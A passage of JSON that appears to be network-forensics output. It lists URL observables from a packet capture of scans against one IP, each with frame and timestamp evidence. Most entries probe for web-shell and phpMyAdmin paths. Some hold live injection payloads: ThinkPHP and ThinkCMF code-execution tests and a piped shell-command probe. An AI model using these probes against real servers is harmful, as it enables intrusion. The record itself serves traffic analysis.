      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/51314.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1598,
            "display_filter": "frame.number == 1598",
            "timestamp_epoch": "1577256089.955049000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a23a9d81553efec6f20d8ae3",
        "last_seen_epoch": "1577256089.955049000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256089.955049000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/520.php",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1979,
            "display_filter": "frame.number == 1979",
            "timestamp_epoch": "1577256278.052952000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ee2a7d09c7774bfe8341032a",
        "last_seen_epoch": "1577256278.052952000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256278.052952000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/5201314.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1601,
            "display_filter": "frame.number == 1601",
            "timestamp_epoch": "1577256090.222355000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5e4f233d062e326fc18d86d0",
        "last_seen_epoch": "1577256090.222355000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256090.222355000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/56.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1221,
            "display_filter": "frame.number == 1221",
            "timestamp_epoch": "1577255876.935594000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-30137dee34331dda00436877",
        "last_seen_epoch": "1577255876.935594000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255876.935594000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/5678.php",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 538,
            "display_filter": "frame.number == 538",
            "timestamp_epoch": "1577255591.326863000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7c733582979ad875b42e0f31",
        "last_seen_epoch": "1577255591.326863000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255591.326863000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/605.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 802,
            "display_filter": "frame.number == 802",
            "timestamp_epoch": "1577255710.403447000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e604388e422829486880cd8c",
        "last_seen_epoch": "1577255710.403447000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255710.403447000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/666.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1693,
            "display_filter": "frame.number == 1693",
            "timestamp_epoch": "1577256138.280301000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b8f2b3b2b427b627a6c21fd4",
        "last_seen_epoch": "1577256138.280301000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256138.280301000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/7.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1740,
            "display_filter": "frame.number == 1740",
            "timestamp_epoch": "1577256156.556385000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-776cf3b3662028291e863b1d",
        "last_seen_epoch": "1577256156.556385000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256156.556385000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/777.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1696,
            "display_filter": "frame.number == 1696",
            "timestamp_epoch": "1577256138.548845000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0893262f555abdddc722420b",
        "last_seen_epoch": "1577256138.548845000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256138.548845000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/789056.php",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1402,
            "display_filter": "frame.number == 1402",
            "timestamp_epoch": "1577255990.289972000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a7db5e80b741e7b53cf93bf6",
        "last_seen_epoch": "1577255990.289972000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255990.289972000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/7o.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 716,
            "display_filter": "frame.number == 716",
            "timestamp_epoch": "1577255673.802539000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4b9b94d024c210a6e95e1cd4",
        "last_seen_epoch": "1577255673.802539000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255673.802539000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/803.php",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 857,
            "display_filter": "frame.number == 857",
            "timestamp_epoch": "1577255732.857082000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-75bac0893b3433545114fad0",
        "last_seen_epoch": "1577255732.857082000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255732.857082000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/887.php",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 657,
            "display_filter": "frame.number == 657",
            "timestamp_epoch": "1577255637.840125000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6100ba87b32ec3792ca0f423",
        "last_seen_epoch": "1577255637.840125000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255637.840125000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/888.php",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 661,
            "display_filter": "frame.number == 661",
            "timestamp_epoch": "1577255638.471336000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-86d8e3f6d45f2fc0abcec152",
        "last_seen_epoch": "1577255638.471336000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255638.471336000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/9.php",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 648,
            "display_filter": "frame.number == 648",
            "timestamp_epoch": "1577255632.326815000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9ddb17e97f48ddd6dd2cb403",
        "last_seen_epoch": "1577255632.326815000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255632.326815000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/92.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1568,
            "display_filter": "frame.number == 1568",
            "timestamp_epoch": "1577256082.138054000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-fbb81465c07a2a492df81b2f",
        "last_seen_epoch": "1577256082.138054000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256082.138054000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/9510.php",
        "evidence": [
          {
            "tcp_stream": 39,
            "frame_number": 1315,
            "display_filter": "frame.number == 1315",
            "timestamp_epoch": "1577255921.759838000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-78b9524355418ec381e25ccd",
        "last_seen_epoch": "1577255921.759838000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255921.759838000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/9678.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 564,
            "display_filter": "frame.number == 564",
            "timestamp_epoch": "1577255600.858894000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-350f9aa8bf078c6bdeccb1e6",
        "last_seen_epoch": "1577255600.858894000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255600.858894000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/981.php",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 654,
            "display_filter": "frame.number == 654",
            "timestamp_epoch": "1577255635.270988000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1dc95ce7dd02e68d9e086839",
        "last_seen_epoch": "1577255635.270988000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255635.270988000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/98k.php",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 651,
            "display_filter": "frame.number == 651",
            "timestamp_epoch": "1577255635.006583000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-89c8a54c174359b4b09efe97",
        "last_seen_epoch": "1577255635.006583000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255635.006583000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/99.php",
        "evidence": [
          {
            "tcp_stream": 13,
            "frame_number": 504,
            "display_filter": "frame.number == 504",
            "timestamp_epoch": "1577255555.236627000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-72184b28a4272e4eb3fe47fc",
        "last_seen_epoch": "1577255555.236627000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255555.236627000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/999.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 811,
            "display_filter": "frame.number == 811",
            "timestamp_epoch": "1577255713.521946000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d9d6f14e5771ba9c0a515e72",
        "last_seen_epoch": "1577255713.521946000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255713.521946000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/?a=echo%20-n%20HelloNginx%7Cmd5sum",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 297,
            "display_filter": "frame.number == 297",
            "timestamp_epoch": "1577255411.262666000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d4edab0779434c465d73c83f",
        "last_seen_epoch": "1577255411.262666000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255411.262666000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 280,
            "display_filter": "frame.number == 280",
            "timestamp_epoch": "1577255408.320217000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0a8b4efbcbdf25b21c907c9c",
        "last_seen_epoch": "1577255408.320217000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255408.320217000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/_404.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1054,
            "display_filter": "frame.number == 1054",
            "timestamp_epoch": "1577255806.423010000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-321a3a9d27bc29bd1a9eb715",
        "last_seen_epoch": "1577255806.423010000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255806.423010000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/__phpMyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2361,
            "display_filter": "frame.number == 2361",
            "timestamp_epoch": "1577256429.978119000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8ba3f23ae2f1f6f9ce26ec62",
        "last_seen_epoch": "1577256429.978119000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256429.978119000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/_query.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 89,
            "display_filter": "frame.number == 89",
            "timestamp_epoch": "1577255368.522892000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-09dfc51b7baa2e516484f9b5",
        "last_seen_epoch": "1577255368.522892000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255368.522892000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/a.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 957,
            "display_filter": "frame.number == 957",
            "timestamp_epoch": "1577255781.770669000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1671,
            "display_filter": "frame.number == 1671",
            "timestamp_epoch": "1577256133.662267000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1725,
            "display_filter": "frame.number == 1725",
            "timestamp_epoch": "1577256150.280184000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7eae5fef89947d7149c0f0db",
        "last_seen_epoch": "1577256150.280184000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255781.770669000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/a411.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 626,
            "display_filter": "frame.number == 626",
            "timestamp_epoch": "1577255626.562659000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f24f3b1c3e06f556d7d613f0",
        "last_seen_epoch": "1577255626.562659000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255626.562659000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/aa.php",
        "evidence": [
          {
            "tcp_stream": 19,
            "frame_number": 670,
            "display_filter": "frame.number == 670",
            "timestamp_epoch": "1577255644.950557000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 921,
            "display_filter": "frame.number == 921",
            "timestamp_epoch": "1577255772.360985000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e4a8bbf2438c9834c2ea0714",
        "last_seen_epoch": "1577255772.360985000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255644.950557000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/aaa.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 594,
            "display_filter": "frame.number == 594",
            "timestamp_epoch": "1577255616.925040000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1728,
            "display_filter": "frame.number == 1728",
            "timestamp_epoch": "1577256150.548389000"
          },
          {
            "tcp_stream": 59,
            "frame_number": 1857,
            "display_filter": "frame.number == 1857",
            "timestamp_epoch": "1577256205.708246000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5fc4e3e235f8760f6dbe301a",
        "last_seen_epoch": "1577256205.708246000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255616.925040000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/aap.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 741,
            "display_filter": "frame.number == 741",
            "timestamp_epoch": "1577255680.648752000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7f4bf578fc8bcd0c7173ef25",
        "last_seen_epoch": "1577255680.648752000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255680.648752000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/abak.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 947,
            "display_filter": "frame.number == 947",
            "timestamp_epoch": "1577255780.372576000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3884a8c0ec67b3c6c8d16a57",
        "last_seen_epoch": "1577255780.372576000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255780.372576000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/abc776.php",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1405,
            "display_filter": "frame.number == 1405",
            "timestamp_epoch": "1577255993.598057000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9801aa344a1ae99e1e688176",
        "last_seen_epoch": "1577255993.598057000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255993.598057000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/about_ver.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 963,
            "display_filter": "frame.number == 963",
            "timestamp_epoch": "1577255783.396783000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d0dcdd025199b2c28eb76b2b",
        "last_seen_epoch": "1577255783.396783000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255783.396783000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ack.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 759,
            "display_filter": "frame.number == 759",
            "timestamp_epoch": "1577255684.809344000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d0fdbaf70ce8e02cd85b4143",
        "last_seen_epoch": "1577255684.809344000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255684.809344000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2107,
            "display_filter": "frame.number == 2107",
            "timestamp_epoch": "1577256352.207530000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ff9290b9f12d61b87e4dcc40",
        "last_seen_epoch": "1577256352.207530000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256352.207530000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admin/mysql/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2127,
            "display_filter": "frame.number == 2127",
            "timestamp_epoch": "1577256355.300657000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-fd87b186b4e9e0696b43d397",
        "last_seen_epoch": "1577256355.300657000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256355.300657000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admin/mysql2/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2130,
            "display_filter": "frame.number == 2130",
            "timestamp_epoch": "1577256356.265266000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6c004bc9af60ea61e5cc8fb4",
        "last_seen_epoch": "1577256356.265266000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256356.265266000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admin/phpmyadmin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2133,
            "display_filter": "frame.number == 2133",
            "timestamp_epoch": "1577256356.543171000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d807009fc103500a1ba238f2",
        "last_seen_epoch": "1577256356.543171000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256356.543171000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admin/phpMyAdmin/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2136,
            "display_filter": "frame.number == 2136",
            "timestamp_epoch": "1577256358.091002000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0106c396cfe58c131532ca1c",
        "last_seen_epoch": "1577256358.091002000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256358.091002000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admin/phpmyadmin2/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2139,
            "display_filter": "frame.number == 2139",
            "timestamp_epoch": "1577256358.391408000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-81b11b858d5b14fa802cfea8",
        "last_seen_epoch": "1577256358.391408000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256358.391408000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admin/pma/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2120,
            "display_filter": "frame.number == 2120",
            "timestamp_epoch": "1577256354.091481000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-fed281a1026f19805fa44534",
        "last_seen_epoch": "1577256354.091481000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256354.091481000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admin/PMA/index.php",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2123,
            "display_filter": "frame.number == 2123",
            "timestamp_epoch": "1577256355.020268000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-2374f71c66bdc259b6860211",
        "last_seen_epoch": "1577256355.020268000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256355.020268000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admin1.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 805,
            "display_filter": "frame.number == 805",
            "timestamp_epoch": "1577255710.705950000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bb6246ac5e6e6cbad434403c",
        "last_seen_epoch": "1577255710.705950000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255710.705950000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/Admin1f768268/Login.php",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 18,
            "display_filter": "frame.number == 18",
            "timestamp_epoch": "1577255332.751059000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5d08a5f504b6c192070a0794",
        "last_seen_epoch": "1577255332.751059000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255332.751059000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/Administrator.php",
        "evidence": [
          {
            "tcp_stream": 59,
            "frame_number": 1860,
            "display_filter": "frame.number == 1860",
            "timestamp_epoch": "1577256205.966116000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0e686e9b4f3243d07dd044d8",
        "last_seen_epoch": "1577256205.966116000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256205.966116000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/admn.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1629,
            "display_filter": "frame.number == 1629",
            "timestamp_epoch": "1577256105.604777000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0818572dcc127022d1f7cea5",
        "last_seen_epoch": "1577256105.604777000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256105.604777000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/afafaf.php",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1408,
            "display_filter": "frame.number == 1408",
            "timestamp_epoch": "1577255994.945833000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-eaf2be688102d2bb7b27d626",
        "last_seen_epoch": "1577255994.945833000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255994.945833000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ag.php",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 899,
            "display_filter": "frame.number == 899",
            "timestamp_epoch": "1577255761.724165000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3f191dd8bdd0750d0414dc22",
        "last_seen_epoch": "1577255761.724165000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255761.724165000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ak.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 437,
            "display_filter": "frame.number == 437",
            "timestamp_epoch": "1577255498.895476000"
          },
          {
            "tcp_stream": 36,
            "frame_number": 1265,
            "display_filter": "frame.number == 1265",
            "timestamp_epoch": "1577255902.352582000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-16b4fade2ab6e99701075919",
        "last_seen_epoch": "1577255902.352582000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255498.895476000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ak47.php",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1122,
            "display_filter": "frame.number == 1122",
            "timestamp_epoch": "1577255826.398833000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e13386c3a6a49de3f6df57aa",
        "last_seen_epoch": "1577255826.398833000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255826.398833000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ak48.php",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1125,
            "display_filter": "frame.number == 1125",
            "timestamp_epoch": "1577255827.233231000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f118fb4496ee86de24a65888",
        "last_seen_epoch": "1577255827.233231000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255827.233231000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/Alarg53.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1057,
            "display_filter": "frame.number == 1057",
            "timestamp_epoch": "1577255806.715336000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-5b95341393dddd9e52cd46ec",
        "last_seen_epoch": "1577255806.715336000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255806.715336000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/angge.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1764,
            "display_filter": "frame.number == 1764",
            "timestamp_epoch": "1577256173.670844000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-43df6aed7016675c118296ec",
        "last_seen_epoch": "1577256173.670844000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256173.670844000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/aotu.php",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1183,
            "display_filter": "frame.number == 1183",
            "timestamp_epoch": "1577255863.983664000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-83a0dbab7415687193006e1a",
        "last_seen_epoch": "1577255863.983664000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255863.983664000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/aotu7.php",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1186,
            "display_filter": "frame.number == 1186",
            "timestamp_epoch": "1577255864.247618000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1827ca5237782cc7387a27d4",
        "last_seen_epoch": "1577255864.247618000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255864.247618000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/api.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1616,
            "display_filter": "frame.number == 1616",
            "timestamp_epoch": "1577256097.440516000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3fdaf9a5ab0b90b8f1a75e0d",
        "last_seen_epoch": "1577256097.440516000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256097.440516000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/app.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 744,
            "display_filter": "frame.number == 744",
            "timestamp_epoch": "1577255682.024507000"
          },
          {
            "tcp_stream": 43,
            "frame_number": 1346,
            "display_filter": "frame.number == 1346",
            "timestamp_epoch": "1577255963.962886000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-48a9d1362c5e65a94a7ad86a",
        "last_seen_epoch": "1577255963.962886000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255682.024507000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/App/?content=die(md5(HelloThinkPHP))",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 270,
            "display_filter": "frame.number == 270",
            "timestamp_epoch": "1577255406.952917000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ede45a922186440f7c228881",
        "last_seen_epoch": "1577255406.952917000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255406.952917000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/appserv.php",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 208,
            "display_filter": "frame.number == 208",
            "timestamp_epoch": "1577255397.610060000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f0cdd76b45033c7563afc6bb",
        "last_seen_epoch": "1577255397.610060000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255397.610060000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/asjc.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 987,
            "display_filter": "frame.number == 987",
            "timestamp_epoch": "1577255789.695421000"
          }
        ],
